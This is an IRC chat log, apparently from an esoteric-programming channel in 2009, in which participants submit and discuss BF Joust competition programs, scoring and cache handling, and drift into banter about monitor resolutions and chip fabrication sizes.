you say about "you can run it manually with 'perl bfjoust'?" 20:55:10 ic, ic. 20:55:14 Heh, whoopsiloo :) 20:55:24 Just change the #! line *shrugs* 20:56:03 % ../report ../bfjoust ../cache *.bfjoust 20:56:03 IDScorePtsProgram 20:56:05 00.000ais523_attack5.bfjoust 20:56:07 90.000impomatic_shortsword.bfjoust 20:56:09 GregorR-L: (yes, I fixed it) 20:56:16 Oh. 20:56:19 ../cache was broken. 20:56:20 Somehow. 20:57:23 GregorR-L: d'you think removing the programs whose pts are below 0 is a wise decision? 20:57:29 otherwise it'll fuss over them 20:57:49 It won't fuss much over them :P 20:57:55 True. 20:58:18 The problem is that it may be a program that defeats one really "important" program, but doesn't do well otherwise. 20:58:23 And you'd want to keep that alive. 20:58:29 Yep. 20:59:11 (Which is why the whole "score" vs "points" system exists :P ) 20:59:43 GregorR-L: ../cache never changes anything, right? 20:59:48 As in, rm -rf ../cache only makes it slower 20:59:50 not anything else 21:00:01 If you /update/ a program, you have to remove its relevant cache entries. 21:00:20 Ahahahahahahahahaha GregorR-L and which are these 21:00:27 *:filename.bfjoust* 21:00:47 Errr, *:filename.bfjoust:* 21:01:24 GregorR-L: What about .score? 21:01:33 That's never read, only written. 21:01:38 kay 21:01:40 $ ./bfjoust.pl attack1.bj defend6.bj | wc -l 21:01:41 20704 21:01:43 with 2 lines of output per step 21:01:50 that means that 10000 is not enough 21:01:56 but 20000 probably is, that was quite a long tape 21:01:59 ais523: please, can you use .bfjoust instead of .bj? the connotations! 21:02:05 I do elsewhere 21:02:15 but the connotations are only in your mind 21:02:23 And your penis. 21:02:27 yes, well, the connotations of everything is only in your mind 21:02:33 And your penis. 21:04:30 incidentally, defend6 beats shortsword too 21:04:36 it's just /slightly/ too long for an IRC lien 21:04:38 *line 21:04:40 so I will paste it 21:04:41 ais523: cat it? 21:04:42 thanks 21:04:51 ais523: Y'know you can use a URL? 21:04:58 that too 21:04:58 GregorR-L: I do 21:05:01 which is why I'm pasting it 21:05:04 ... 21:05:08 ais523: !bfjoust butt http://foo 21:05:09 works 21:05:13 OH, pasteBIN 21:05:24 (-ing it) 21:05:59 !bfjoust defend6 http://pastebin.ca/raw/1435349 21:06:14 Wow, that's a fucked up codeulation, ais523. 21:06:17 Care to expand it for us mortals? 21:06:21 in what way? 21:06:21 Score for ais523_defend6: 97.0 21:06:24 O_O 21:06:28 ais523: just look at it! 21:06:36 ehird: it consists of lots of not-quite-repeats 21:06:44 if I expanded it, it would be massively long 21:06:49 as there are no loops but the [] at the start 21:06:52 Heh, it ties against defend1 :P 21:07:05 GregorR-L: not surprising, they're both defence programs 21:07:11 and wait for the opponent to arrive 21:07:34 *defense 21:07:34 Well, looks like you're on top now. 21:07:43 maybe I should add in a defence-program-detector 21:07:45 GregorR-L: So's your mom 21:07:54 that switches to a counter-defence strategy if it notices one 21:08:03 IDScorePtsProgram 21:08:04 295.8710ais523_defend6.bfjoust 21:08:05 (a detector is easy, just wait for a few thousand turns and see if anything happens) 21:08:08 GregorR-L: Why is it differen? 21:08:18 t 21:08:20 I have the same programs. 21:08:24 Oh. 21:08:26 impomatic: you'll have to come up with something that can beat that, now I've knocked shortsword off the leaderboard 21:08:26 Because I have 11 of them. 21:08:28 Right. 21:08:30 ehird: tape length randomisation, too 21:08:38 ais523: ugh, it's nondeterministic? 21:08:40 hate 21:08:42 it might make a difference, although probably not 21:08:56 the randomisation's just to prevent people using degenerate strategies, and rarely changes the result 21:09:33 there's probably an optimum strategy for a constant tape length N 21:09:56 ehird: yes, just running straight to your opponent's flag 21:10:04 oh, of course. 21:11:01 [ehird:~/Code/scraps/2009-05/evolve_bfjoust/working/evolvist] % ruby evolvist.rb 21:11:01 60.3 21:11:03 [ehird:~/Code/scraps/2009-05/evolve_bfjoust/working/evolvist] % ruby evolvist.rb 21:11:05 70.2 21:11:09 GregorR-L: ais523: that's a pretty large variation... 21:11:14 (testing impomatic_shortsword) 21:11:28 "Testing" in what way? 21:11:30 maybe I should do it, say, 5 times, and take the average 21:11:35 GregorR-L: 21:11:36 def remove_cache(name) 21:11:37 `rm ../cache/*:#{name}.bfjoust:*` 21:11:39 end 21:11:41 def test_program(name) 21:11:43 remove_cache(name) 21:11:44 ehird: if it's an evolutionary algorithm, a bit of randomness is fine anyway 21:11:45 `../report ../bfjoust ../cache *.bfjoust` 21:11:47 File.read("../cache/#{name}.bfjoust.score") 21:11:49 end 21:12:01 ais523: i suppose 21:12:03 Any change there can only be from tape lengths ... 21:12:04 i'm not goign to get anywhere with this 21:12:10 it takes multiple seconds just to run once 21:12:25 [ehird:~/Code/scraps/2009-05/evolve_bfjoust/working/evolvist] % time ruby evolvist.rb 21:12:25 70.2 21:12:26 ruby evolvist.rb 2.16s user 0.13s system 97% cpu 2.342 total 21:12:28 [ehird:~/Code/scraps/2009-05/evolve_bfjoust/working/evolvist] % time ruby evolvist.rb 21:12:29 ehird: Quay? With the cache in place it shouldn't? 21:12:30 60.3 21:12:32 ruby evolvist.rb 1.78s user 0.13s system 98% cpu 1.936 total 21:12:41 GregorR-L: it removes the cache for the program we're testing 21:12:42 obviously 21:12:45 since it's to be used when you change it 21:12:54 although, I suppose I won't ever reuse a prorgam 21:12:56 Oh, it's because your programs almost always time out, right? :P 21:12:56 *program 21:13:16 GregorR-L: anyway, you need <0.1s for evolving to be practiacl 21:13:19 *practical 21:13:21 otherwise it'll take years 21:13:29 Duh 21:13:52 GregorR-L: in short, make it faster :P 21:13:57 ehird: just some programs are naturally very slow 21:13:59 in terms of cycles 21:14:03 Any slowness at this point is due to timeouts. 21:14:10 defend6 wins really quite slowly, most of the time 21:14:10 ais523: just get AnMaster to rewrite it 21:14:15 juts turn on debug and look at the log 21:14:19 it'll be really fast :p 21:14:22 you could speed it up by not reparsing the program every step 21:14:25 or in numerous other ways 21:14:50 (Or not writing it in Perl) 21:14:52 rewrite the bfjoust interpreter? 21:15:00 AnMaster: yes 21:15:07 No thanks. I'm not really interested in corewars or similar things 21:15:18 Gee I sure was not joking 21:15:19 Absolutely not 21:15:29 "AnMaster" in string implies seriousville, true logic equation facst. 21:15:32 facts, too. 21:15:35 * AnMaster goes back listening to radio 21:15:47 * GregorR-L goes back to no soap. Radio! 21:16:22 GregorR-L: Hahahahaha 21:17:37 ehird: as for that BF Joust program, I have a version with whitespace too which shows what it's doing 21:25:21 ais523: that'd be nice 21:26:05 ehird: http://pastebin.ca/1435376 21:28:25 ah 21:29:09 it attacks something in particular, which is the [-] or [+] loop 21:29:13 nearly all programs have one 21:29:37 and if they go into such a loop on its flag, then defend6 will keep them in it forever, whilst running off and sinking their flag 21:32:16 !bfjoust tweaked [>+[---]+] 21:32:25 Score for impomatic_tweaked: 37.5 21:32:39 impomatic: last place 21:32:49 although it does beat defend6 21:33:09 wait, not last 21:33:17 sixth 21:33:28 beating a program that beats all the others is quite good for its score... 21:34:06 and kicks_ehird is amusing, it beats all the programs that don't start ais523_, and loses to all the ones that do 21:34:32 Game of Werewolves (called Mafia) at irc.xkcd.com #mafia 21:34:49 Sgeo: why did you just advertise that in #esoteric and ##nomic? 21:34:51 :-) 21:35:15 I thought peoople there might be interested. Agora had a Werewolves thing 21:35:51 impomatic: interesting strategy in stranger, by the way 21:36:00 you seem to be thinking about counter-defence strategies 21:37:06 Hmmm... I've also slept since I wrote that one ;-) 21:37:18 I can tell how it works, though 21:37:27 detects defence strategies by looking to see if the flag has changed 21:37:45 and trying up-runs and down-runs to see if either beats the defence strategy, before moving on 21:38:59 -!- bsmntbombdood has quit (Read error: 60 (Operation timed out)). 21:42:33 "I don't know very English but I know very much Spanish and I suppose you don't know very Spanish but you know very English because you are American but I am not American." 21:42:37 —Fidel Castro 21:42:52 (Or should I say "Fidel Zzo38stro"? :D) 21:43:30 wow, is that a genuine quote? 21:43:34 that is so very zzo38 21:43:41 except the grammar isn't quite as good 21:43:55 ais523: it is genuine 21:43:56 http://everything2.com/title/Young%2520Fidel%2520Castro%2527s%2520letter%2520to%2520President%2520Roosevelt 21:44:03 beforehand he asks Roosevelt for a 10 dollar bill 21:44:14 because he wants to see one, apparently 21:44:24 he was, admittedly, 12 years old 21:45:20 http://www.underfoule.net/mika/src/12433705409.jpg 21:45:42 Slereah: I see no /prog/snake; downvoted. 21:46:11 Where does the snake come from, anyway? 21:46:14 http://images.cafepress.com/jitcrunch.aspx?bG9hZD1ibGFuayxibGFuazoyX0YuanBnfGxvYWQ9TDAsaHR0cDovL2ltYWdlczkuY2FmZXByZXNzLmNvbS9pbWFnZS8zNDEyMjU4OV80MDB4NDAwLmpwZ3x8c2NhbGU9TDAsMTcwLDE0NSxXaGl0ZXxjb21wb3NlPWJsYW5rLEwwLEFkZCwxNTUsMTI1fGNwPXJlc3VsdCxibGFua3xzY2FsZT1yZXN1bHQsMCw0ODAsV2hpdGV8Y29tcHJlc3Npb249OTV8 21:46:15 Wow. 21:46:17 Slereah: /prog/ 21:46:29 Yes, but why? 21:46:36 Slereah: Because SICP. 21:46:39 "force e = e" —/prog 21:46:40 / 21:48:42 wat 21:49:01 Is there a snake in SICP? 21:49:15 No. 21:49:44 -!- inurinternet has joined. 21:50:05 Whyyyyy 21:50:09 Why that snake 21:50:13 Satori 21:50:16 He is handsome and all, but 21:52:08 -!- bsmntbombdood has joined. 21:52:12 Carts, cartographers, 21:52:12 NO! 21:53:36 wat 21:54:50 !bfjoust dumb (>)*9([(-)*128.[-]]>)*20 21:54:52 Score for impomatic_dumb: 50.0 21:55:11 http://twitter.com/progsnake 21:55:17 This is not helpful 21:57:30 http://img87.imageshack.us/img87/1861/screenshotlm2.png 21:57:31 Ahahah 21:58:26 ehird, do you know, or do I have to ask /soc/? 21:59:31 Slereah: It is just random. 21:59:47 Also, your questioning is unscientific and ultimately destructive. 22:01:28 A lot of memes actually have some sort of origin 22:01:31 You never know: 22:09:43 Slereah: I'm waiting for the conclusion to your colon. 22:10:48 -!- bsmntbombdood has quit (Connection timed out). 22:11:48 -!- bsmntbombdood has joined. 22:12:19 The conclusion of my colon is my asshole 22:12:49 hur hur 22:15:34 -!- MizardX has joined. 22:16:00 [[Q: How do you vote in elections? 22:16:00 A: I usually vote for the fattest candidate, on the basis that they'll take up more room on the House of Commons benches, thereby giving me more democracy for my valuable franchise.]] 22:18:09 I always vote for the tallest guy 22:20:08 I vote for the guy most likely to gum the works. 22:20:26 In this day and age, that means someone with reasonable opinions. 22:23:34 "The Apple M9178 23-Inch Cinema HD Display is a liquid crystal display (LCD) monitor and has a default resolution of 1920x1200 dpi (dots per inch)." 22:23:39 holy fucking shit! 22:23:52 pikhq: You know we talked about that IBM display with hugh dpi? 22:23:53 *huge 22:23:56 THIS IS THE REAL DEAL :P 22:24:06 It's like a bajillion times more dense than paper! 22:24:37 ehird: that's probably a bug 22:24:41 in the description 22:24:42 ais523: no shit 22:24:52 it's a bug in the wetware of the human who authored it, rather. 22:24:55 still funny 22:26:09 1920x1200 dpi? 22:26:11 Damn. 22:26:14 Totally. 22:26:20 pikhq: Think how many VMs you could run. 22:26:28 one in each square inch 22:26:31 at a decent resolution 22:26:36 A really decent resolution. 22:26:43 It's pretty much the max anyone runs. 22:26:53 Well, some people game at 2048x1536 22:26:54 But whatever 22:26:59 (Or was it 2560x1600?) 22:27:11 That's watching every single HD station at once. 22:27:18 pikhq: The screen is 44160x27600 22:27:24 And the total DPI is 3063 22:27:25 And a small handful of bluray discs. 22:27:27 (.27) 22:27:32 And 0.0083mm dot pitch 22:27:45 Mind = blown. 22:27:48 pikhq: Haha. That's 8.3 microns separating each pixel. 22:29:05 I didn't know that there was an 8 micron silicon process out there. 22:29:06 :p 22:29:31 Oh, the micron is larger than the nanometer. 22:29:49 That's still pretty impressive. 22:30:02 wow, that's the first time I clicked on a link to Goatse 22:30:09 For comparison, a red blood cell is 7 microns. 22:30:12 and I recognised it as Goatse before it finished loading, and managed to not look at it 22:30:15 ais523: :D 22:30:31 pikhq: 10 microns was the state of the art process in 1971-1972 22:30:37 Yeah. 22:30:37 3 microns was reached in 1975. 22:30:40 But that's microchips. 22:30:45 well, I recognised it wasn't what it claimed to be 22:30:52 and guessed it was a shock image 22:30:55 This would be the first monitor that requires you to spend inordinate amounts of money just to detect the pixel separation, pikhq :D 22:31:04 BTW, the proper terminology is the 'micrometer'. As in µm. 22:31:14 pikhq: microns is also acceptable 22:31:23 A micrometre or micron (American spelling: micrometer; symbol µm) is one millionth of a metre, or equivalently one thousandth of a millimetre. It can be written in scientific notation as 1×10−6 m, meaning 1/1 000 000 m. 22:31:35 Yes, but µm is something I can type that most can't. :p 22:31:52 Compose m u FTW. 22:32:10 * ais523 wipes the goatse from browser cache 22:32:41 * pikhq can't wait for picometer CPU processes 22:33:11 µm is easy 22:33:15 ehird 22:33:16 and I didn't even copy-paste from you 22:33:26 comex: this is not a nomic channel, before you say anything 22:33:34 ais523: Yes, but not for Windows users. 22:33:42 do you consent to ais523 joining bayes 22:33:44 pikhq: Is picometer even possible? I mean, 11nm is nanotechnology. 22:33:45 Alt+0something or other. 22:33:48 comex: I do not consent. 22:33:49 comex: I'm not trying to 22:33:55 ehird: Barely. 22:33:59 ais523: well, I asked you if you wanted to and you didn't respond 22:34:02 and I suspect you need my consent too 22:34:05 ais523: he wants to stop it being deregistered by announcement 22:34:11 yes, I guessed 22:34:13 also, still wrong channel 22:34:14 A picometer process would have the circuit as a very complex molecule. 22:34:23 comex: [[I deregister Bayes.]] 22:34:25 ais523: blame him 22:34:33 pikhq: i'm not sure that would work too well 22:34:42 Erm. Actually. 22:34:50 Lemme check to see how big a silicon atom is. 22:34:52 ah, you suck 22:34:54 helium atom = 31 picometers 22:35:09 117.6 picometers for Si. 22:35:15 pikhq: Heh. Silicon's a fatso. 22:35:43 pikhq: So 0.1176nm. 22:35:45 -!- impomatic has left (?). 22:35:46 ... Arguably, we're already dealing with complex molecules. 22:35:54 pikhq: Yeah. 22:35:59 We're currently at 45/32nm 22:36:04 32nm can do RAM and shit, so let's say that 22:36:05 I mean, really. We're discussing traces that are about 100 atoms across. 22:36:29 (3 or 4 hundred across for common processes) 22:36:31 pikhq: 32nm = 272 * a silicon atom 22:36:38 32000 picometers 22:36:38 so yeah 22:37:00 pikhq: 11nm - nanoelectronics - will be 93 22:37:07 so really, we're near that stage 22:37:26 IIRC, Intel was working on 20nm stuff. 22:37:40 22nm you mean 22:37:50 I omit figures. 22:37:51 Bite me. 22:37:56 pikhq: On August 18, 2008, AMD, Freescale, IBM, STMicroelectronics, Toshiba and the College of Nanoscale Science and Engineering (CNSE) announced that they jointly developed and manufactured a 22 nm SRAM cell, built on a traditional six-transistor design on a 300 mm wafer, which had a memory cell size of just 0.1 square μm.[5] The cell was printed using immersion lithography.[6] 22:38:10 pikhq: that's a bit too prototype for my tastes 22:38:36 pikhq: But that's 187 * Si 22:39:06 I seem to recall Intel wanting to have their next generation on a 22nm process. Anyways. 22:39:20 pikhq: the next tock will be a 32nm shrink of Nehalem 22:39:27 and Intel are converting a fab to it 22:39:32 so that's basically where we're at now 22:40:04 22 000 22:40:05 er 22:40:07 Some predictions for the 22 nm node come from the ITRS. For example, it is predicted that silicon devices will no longer be planar, but will require ultrathin sections mostly surrounded on the sides by gates. The silicon body in each section is fully depleted, i.e., the free charge carrier concentration is deliberately suppressed. The sections basically protrude as fins from the surface (sometimes these are known as FinFETs). The creation of fins is a ne 22:40:11 w challenge for the semiconductor industry, which has become accustomed to building transistors on a flat silicon surface. As of late 2008, several technical risks remain for implementation of non-planar 22nm transistors for logic applications.[2] 22:40:15 According to the ITRS, the 22 nm node also marks the first time where the pre-metal dielectric, separating the transistor from the first metal layer, is a porous low-k material, replacing traditional, denser CVD silicon dioxide. The introduction of a porous material closer to the front end presents numerous integration challenges. In particular, the extent of plasma damage to low-k materials is typically 20 nm thick,[3] but can also go up to approximatel 22:40:20 y 100 nm.[4] 22:40:22 pikhq: tl;dr: "22nm requires some thinking before we can use it" 22:40:28 whereas 32nm has no real issues vs 45nm 22:40:29 Okay. 22:40:29 yep 22:40:38 they want to put the transistors vertically, sticking out from the chip 22:40:40 Still, very damned impressive. 22:40:40 16nm is megahard: 22:40:41 16 nm resolution is difficult to achieve in a polymeric resist, even with electron beam lithography. In addition, the chemical effects of ionizing radiation also limit reliable resolution to about 50 nm, which is also achievable using current state-of-the-art immersion lithography. Hardmask materials and possibly iterated double patterning will be required. 22:40:43 to help cooling and density, or something 22:40:45 A more significant limitation comes from plasma damage to low-k materials. The extent of damage is typically 20 nm thick,[3] but can also go up to approximately 100 nm.[4] The damage sensitivity is expected to get worse as the low-k materials become more porous. 22:40:49 and 11nm, well, that's nanotechnology 22:40:52 quantum tunneling and shit 22:41:23 The point is, we're getting to that pretty quick. 22:43:46 Which is pretty damned spiffy. 22:44:20 mm 22:44:29 Hmm. Intel is planning to start shipping 22 nm in 2011. 22:44:39 No guarantees of it actually happening, of course. 23:04:10 -!- tombom has quit ("Peace and Protection 4.22.2"). 23:04:57 -!- FireFly has quit ("Later"). 23:06:04 -!- BeholdMyGlory has quit (Remote closed the connection). 23:06:21 -!- coppro has joined. 23:13:42 -!- olsner has quit ("Leaving"). 23:25:49 -!- ais523 has quit (Remote closed the connection). 23:29:08 BTW, way up the logs, s/Örjan/Ørjan/ 23:46:45 pikhq: intel say they'll get 11nm by 2015 23:46:49 which is bs 23:47:04 ehird: Which is unlikely. 23:47:09 BS. 23:47:44 nothing remotely close to the advanceness of what Intel wants to do at 11nm even exists in a "this could work" sketch for a prototype, as far as I know 23:48:14 Unless Intel is sitting on stuff. Which would be stunning to say the least. 23:48:36 I find that incredibly unlikely. 23:48:53 If they have 11nm stuff right now, they could make bajillions and woo everyone by demonstrating it 23:48:58 Because it's literally sci-fi. 23:56:38 -!- AnMaster has quit (Connection reset by peer). 23:59:34 -!- AnMaster has joined. 2009-05-27: 00:03:33 if you tall likk thii, all worr can be redd to fouu lett. 00:05:20 um... shouldn't that be "cann", "beee" and "tooo"? 00:05:50 oh and alll, ifff (stands for: if and only iff) 00:06:08 night 00:06:44 -!- oerjan has joined. 00:07:19 AnMaster: only words >=4 letters 00:08:06 ah 00:08:08 still, I like ifff 00:08:12 iffffffffffffffffffff 00:09:02 indeed! :D 00:12:09 -!- KingOfKarlsruhe has quit (Remote closed the connection). 00:13:02 I like using punctuation at random."“»›‹¡¿‽’—– 00:13:19 ‽‽‽‽‽“º-ß•ªˆ´•¶þ̂‡†›‹̂†‡°̂*(~↙‽↘⁴⁵⁴⁵ 00:13:35 Touché. 00:13:45 (douché) 00:14:29 New favourite word: Douché 00:14:42 French 00:14:42 [edit]Verb 00:14:43 douché 00:14:45 Past participle of doucher. 00:14:47 "To shower" 00:14:54 pikhq: you've showered? 00:14:57 *you 00:15:07 LMAO 00:19:06 * oerjan tends to smirk whenever he sees the company name Deloitte Touche 00:19:18 the reason, now, should be obvious. 00:20:09 LMAO 00:21:03 * oerjan didn't know about the tohmatsu at the end. it doesn't really help. 00:23:30 Touché, douch险®. 00:25:01 * oerjan notes that he is not alone 00:25:32 Indeed. Ørjan. 00:25:54 * oerjan gives pikhq a spelling bee medal 00:26:25 SPËLLÏNG BËË! 00:26:54 * pikhq has been abusing the Compose key 00:28:52 Höw rúdê 00:31:06 Ï’ḿ ābüßïñg tḧẽ őþtıøñ ké¥ 00:55:29 -!- Patashu has joined. 01:06:20 -!- nescience has joined. 01:07:20 -!- inurinternet has quit (No route to host). 01:14:50 in this bfjoust thing, values are 8 bits right? (256 = 0) 01:15:03 yes 01:15:11 nescience: http://codu.org/eso/bfjoust/report.txt 01:15:16 and !bfjoust name program 01:15:21 omit your name, it adds it automatically 01:15:35 nescience: program sources at http://codu.org/eso/bfjoust/in_egobot/ 01:15:41 i submitted it already 01:15:43 :> 01:15:43 ah 01:15:45 i didn't notice :) 01:15:50 but i apparently miscalculated 01:15:57 i need more details on how [] works 01:16:03 ehm 01:16:09 [a] is while (*ptr) a 01:16:16 as in, while the current cell is not 0, run a 01:16:20 my understanding was that when it reaches ] it checks if 0 01:16:23 nescience: a loop takes two iterations, iirc 01:16:29 so [a][a][a] 01:16:38 so if it was 0 when it executes [, it will still execute the code inside the brackets, yes? 01:16:39 that is, ] jumps back to [ if the cell isn't 0, I believe 01:16:42 nescience: no 01:16:45 whoops 01:16:48 :P 01:16:50 both [ and ] could be said to check 01:17:02 annoying, ok trying again 01:17:03 nescience: let's say your a runs 3 times before setting it to 0 01:17:05 the cycles used are: 01:17:13 [a][a][a]b 01:17:15 where b is the program after 01:17:17 I believe. 01:17:24 that's only relevant if you're counting cyclse 01:17:25 *cycles 01:17:38 if [ checks, that explains what happened 01:17:42 fixing now :> 01:17:52 so wait 01:17:55 if your poiner is on a 0 01:18:06 and your code is [+], for example 01:18:10 -!- Corun has changed nick to Corun|away. 01:18:12 nothing gets incremented, and it takes one cycle? 01:18:18 ehird: not two iterations, the ] jumps to _after_ the [ 01:18:27 oerjan: oh, right 01:18:32 nescience: it'd use [a]a]a]b 01:18:38 * nescience nods 01:18:38 nescience: and correct 01:18:48 ok 01:18:55 i can remove one wait instruction at least then :) 01:19:04 if your code is [-] and your pointer is 3, [-]-]-] is executed 01:19:21 i'm just wanting to know about the case where pointer is 0 atm 01:19:34 nescience: then [ is executed 01:19:44 but not +] 01:20:06 and the 0-check, for the purposes of both programs executing at once, happens before instructions are executed 01:20:28 nescience: here's some exact semantics for you 01:20:37 note that these all happen on the tick - nothing happens before or after a tick 01:20:48 [ if the current cell is 0, jump to the instruction after the matching ]. otherwise, nop. 01:20:56 ] if the current cell is 0, nop. otherwise, jump to the instruction after the matching [. 01:21:03 thanks 01:21:12 welcome 01:21:47 knowing my luck the 'fixed' version will probably score worse, but we'll see 01:21:49 -!- Corun|away has changed nick to Corun. 01:22:01 nope, did better :> 01:22:19 and beats defend6, like it was supposed to 01:22:19 nescience: btw, you should try it in channel 01:22:23 that chart is hard to read 01:22:23 as it reports the score immediately 01:22:28 ah 01:22:40 it only runs one matchup? 01:22:41 and it saves us going to the file list :-) 01:22:45 nescience: right, then updates the report 01:23:06 since the board is random, that seems like a bad idea 01:23:15 nescience: 'the board is random'? 01:23:15 err, the "tape" 01:23:17 ah 01:23:19 not really 01:23:23 it doesn't change the scores much. 01:23:26 no, wait 01:23:27 the length of the playing field 01:23:28 nescience: it runs many matchups 01:23:32 but only (yourprog,*) 01:23:36 the actual report has to run (*,*) 01:23:39 although it -does- cache 01:23:40 mk 01:23:51 thought that would be how it works, but i don't get the +/- then 01:23:58 ehird: it didn't cache before today, at least 01:24:02 i guess it just tells you overall if you won >50% or something? 01:24:03 reruns all matches 01:24:08 nescience: + is "won against this program" 01:24:11 - is "lost against this program" 01:24:18 0 is "draw" 01:24:21 space is "this IS that prorgam!" 01:24:24 oerjan: it doesn ow 01:24:34 nescience: a random tape length is picked for each matchup 01:24:54 yes, the "won" or "lost" was apparent, but made it seem like each pair only battled once 01:24:59 nescience: they do 01:25:00 which, for a random length field seems like a bad idea 01:25:04 ah. 01:25:05 why? 01:25:09 it doesn't matter in 90% of cases 01:25:14 nescience: it's just to stop this degenerate strategy: 01:25:18 because either 1) random length doesn't matter, in which case it shouldn't be random 01:25:19 (>)*tapelength[-] 01:25:29 nescience: which is provably perfect for a given constant tapelength N 01:25:31 or 2) it matters, which means it affects the outcome and you can get "lucky" 01:25:42 yeah, i follow 01:25:52 nescience: you can get lucky ONCE by guessing the tape length correctly in advance. However, that length will be different for every other matchup. 01:26:02 i don't mean get lucky that way 01:26:04 And the probability is incredibly high that it will fail hard on the others. 01:26:10 i mean, some strategies are likely to be faster or slower than others 01:26:20 and thus the tape length might cause a given matchup to win or lose 01:26:22 nescience: Yes, but the statistical difference is incredibly minimal. 01:26:37 it doesn't seem fair to give only one chance if the random selection is what determines the outcome 01:26:39 * nescience shrugs 01:26:40 +/- 10 points in one uncommon case in my tests. 01:26:44 er, score 01:26:57 which is just 10% error, really quite irrelevant 01:27:02 nescience: remember that whenever someone adds a new warrior, 01:27:04 well since there's <10 points difference between the top entries.. :P 01:27:06 it will battle against every one 01:27:08 with a new tape length 01:27:23 nescience: remember, that was an odd cas 01:27:23 e 01:27:29 I imagine +/- 3-5 points is the most common case 01:27:32 it's Good Enough 01:27:33 yes, i'm doing a lot of remembering :) 01:27:37 if caching is working, then it would be feasible to battle _all_ possible tape lengths 01:27:42 and if #1 is -5 and #2 is +5? 01:27:50 and take the average 01:27:54 oerjan: that would be pretty nice 01:28:11 oerjan: that would be over 10x slower 01:28:17 i didn't really consider that the randomness is so narrow that an exhaustive test is feasible 01:28:18 as there is over 10 variations in tape length 01:28:21 it's slow enough as is 01:28:24 ANYWAY 01:28:27 This really doesn't matter. 01:28:29 seemed pretty fast to me :P 01:28:38 do like corewars stuff and queue up the entries, who cares about instant results! 01:28:44 hehe 01:28:52 ehird: 10..30 isn't it? so only 20 times, which is half made up for by the hill now caching the rest 01:28:57 nescience: it took ~25-35 seconds to generate the report previously 01:28:59 which is lame 01:29:09 (w/o caching) 01:29:20 ok i guess that's not so nice 01:29:47 25-35 seconds to run 10 battles 01:29:55 so it'd take a minute to run 20, w 01:29:59 not that bad :P 01:30:01 !bfjoust et_tu_brute (>)*9((-)*128.>)*20 01:30:06 Score for ehird_et_tu_brute: 12.0 01:30:13 hm that did really terribly 01:30:16 -7 points 01:30:19 I wonder why? 01:30:36 It goes the minimum length, then bruteforcedly decrements 128, sleeps a cycle, then steps onward. 01:30:51 !bfjoust et_tu_brute (>)*9((-)*128.>)*21 01:30:53 Score for ehird_et_tu_brute: 12.0 01:30:55 ehird: because you don't stop when it gets to 0? 01:31:02 run off the end 01:31:07 no no no 01:31:09 maybe 01:31:23 nescience: it decrements 128 (the default tape value, and nobody seems to tamper with it), then sleeps one cycle 01:31:27 yeah, i can see it 01:31:34 so if it hits the opponents' flag, it wins immediately 01:31:37 as long as it's 128 01:31:46 seems like some sort of bug 01:31:55 oerjan: stop when it gets to 0? I don't follow 01:32:00 it sleeps one cycle after decimating 01:32:01 well, defend6 will beat it 01:32:07 so it wins, if it's got the opponent's flag 01:32:15 and it's 128 beforehand 01:32:15 i haven't read all the rest but most of them don't "turn back" and do anything 01:32:16 ehird: it will be horrible for all spots that _aren't_ 128 01:32:25 yeah, i guess it just takes too long 01:32:29 oerjan: ah, probably 01:32:29 since it doesn't skip over the 0s fast 01:32:40 * ehird looks up the "if not 0" thing on the wiki 01:32:51 oh? i'm interested 01:32:58 i was just pondering that earlier 01:33:07 hm... 01:33:14 nescience: http://esolangs.org/wiki/Brainfuck_algorithms#if_.28x_.3D.3D_0.29_.7B_code_.7D 01:33:16 you need two temporaries 01:33:18 which is a pain 01:34:04 ooh 01:34:25 nescience: http://esolangs.org/wiki/Brainfuck_algorithms#x_.3D_not_x_.28boolean.2C_logical.29 01:34:28 perhaps 01:34:48 argh 01:34:50 it's inefficient 01:35:05 i kinda like my solution, it exploits defend6 and makes it kill itself :> 01:35:33 i score less than impomatic's though 01:35:40 and i have 2 losses and a tie, while his has 3 losses 01:35:42 i r confus? 01:36:28 !bfjoust mi_fili (>)*9(+[--[(-)*127]]>)*21 01:36:42 !bfjoust et_tu_brute (>)*9(>[-]>[-]<<[>+>+<<-]>[<+>-]+>[<->[-]]<[<(-)*128.>-])*19 01:36:44 Score for ehird_et_tu_brute: 12.0 01:36:49 haha bollocks. 01:36:50 Score for oerjan_mi_fili: 14.9 01:36:54 oh wait 01:36:57 I BEAT OERJAN YAY 01:36:58 what is this stuff on the wiki 01:37:05 i'm not checking it it's _already_ 0 01:37:05 nescience: whatya mean 01:37:05 temp0[-] 01:37:13 In the interest of generality, the algorithms will use variable names in place of the < and > instructions. Temporary cells are denoted "temp". When using an algorithm in a program, replace the variable names with the correct number of < or > instructions to position the pointer at the desired memory cell. 01:37:14 Example: 01:37:16 If "a" is designated to be cell 1, "b" is cell 4, and the pointer is currently at cell 0, then: 01:37:18 nescience: that 01:37:24 so, if you say x=cell 0, temp0=cell 1, temp1=cell 2 01:37:31 x temp0 x temp1 01:37:32 would be 01:37:34 ah 01:37:36 (starting on cell 1) 01:37:42 <><>> 01:37:44 !bfjoust mi_fili2 (>)*9([+[--[(-)*127]]]>)*21 01:37:47 (>)*9(>[-]>[-]<<[>+>+<<-]>[<+>-]+>[<->[-]]<[<(-)*128.>-])*19 01:37:48 should be 01:37:48 i follow 01:37:49 Score for oerjan_mi_fili2: 41.0 01:37:54 huh 01:37:59 O_O 01:38:06 woot 2nd place 01:38:08 ZR 01:38:10 :P 01:38:21 * nescience studies the competition 01:38:24 "Go right 9 times. cell = (cell == 0) (using temps cell+1, cell+2). If it is not zero, decrement 128. 01:38:25 hm wait 01:38:27 I may have it the other way around 01:38:28 whatever 01:38:44 http://codu.org/eso/bfjoust/in_egobot/impomatic_kicks_ehird.bfjoust 01:38:48 nescience: oerjan: try and beat t hat one 01:38:51 it's really good for some reason 01:39:13 it was just designed to beat http://codu.org/eso/bfjoust/in_egobot/ehird_flux_a_counteracting_monomorphism_cocktails.bfjoust, which is my copy of impomatic_flux.bfjoust swapping + and - 01:39:24 !bfjoust creep (>-+[-].++>-+[-].--)*15 01:39:25 Score for nescience_creep: 64.0 01:39:44 wait what just happened 01:39:51 824.69-5nescience_creep.bfjoust 01:39:57 ha 01:39:59 also i think i musta had a bug 01:40:02 nescience: tape length dependent? 01:40:05 no 01:40:13 that as the 2nd plac entry, just changed to decs instead of incs 01:40:20 'cause impomatic's leaves cells with 1 01:40:28 lemme think for a sec 01:40:52 i dunno, putting it back :P 01:40:58 !bfjoust creep (>-+[+].++>-+[+].--)*15 01:41:00 Score for nescience_creep: 24.7 01:41:04 !bfjoust flux_a_revolutionary_perspective_and_et_tu_brute (>)*8(>[(+)*128.])*21 01:41:06 the bot says the 